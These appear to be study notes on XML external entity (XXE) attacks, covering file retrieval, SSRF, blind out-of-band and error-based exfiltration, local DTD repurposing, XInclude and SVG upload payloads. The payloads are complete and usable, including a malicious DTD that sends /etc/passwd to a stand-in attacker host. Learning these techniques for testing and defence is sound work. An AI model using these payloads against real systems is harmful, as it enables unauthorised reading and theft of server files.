XML is a language designed for storing and transporting data

- tree-like structure of tags and data

- non-predefined tags

XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE element at the start of the XML document. DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two.

**Custom entities** defined within DTD:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

=> any usage of the entity reference &myentity; within the XML document will be replaced with the defined value: "my entity value"

**External entities**: defined values are loaded from outside of the DTD in which they are declared; uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

Exploiting XXE to retrieve files

* Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file.
* Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity.

suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

<?xml version="1.0" encoding="UTF-8"?>

<stockCheck><productId>381</productId></stockCheck>

Attack:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<stockCheck><productId>&xxe;</productId></stockCheck>

- try replacing each input within the XML

Exploiting XXE to perform SSRF attacks

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

response is a folder name: use it to drill down until find the information

Detecting blind XXE using out-of-band ([OAST](https://portswigger.net/burp/application-security-testing/oast)) techniques

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

**Try with XML parameter entities:**

<!ENTITY % myparameterentity "my parameter entity value" >

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Exploiting blind XXE to exfiltrate data out-of-band

**On exploit server:**

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">

%eval;

%exfiltrate;

**Attack:**

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

## **Exploiting blind XXE to retrieve data via error messages**

**On exploit server:**

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">

%eval;

%error;

**Attack:**

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

## **Exploiting blind XXE by repurposing a local DTD**

suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd, and this DTD file defines an entity called custom\_entity

<!DOCTYPE foo [

<!ENTITY % local\_dtd SYSTEM "file:///usr/local/app/schema.dtd">

<!ENTITY % custom\_entity '

<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">

&#x25;eval;

&#x25;error;

'>

%local\_dtd;

]>

### **Locating an existing DTD file to repurpose**

<!DOCTYPE foo [

<!ENTITY % local\_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

%local\_dtd;

]>

causes error if the file is missing

for /usr/share/yelp/dtd/docbookx.dtd: custome\_entity = ISOamso

### **XInclude attacks**

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

### **XXE attacks via file upload**

create a svg image with the following content:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "**file:///etc/hostname**" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

The content of the file is in the image

### **XXE attacks via modified content type**

**Normal request:**

POST /action HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 7

foo=bar

**Attack**:

POST /action HTTP/1.0

Content-Type: text/xml

Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>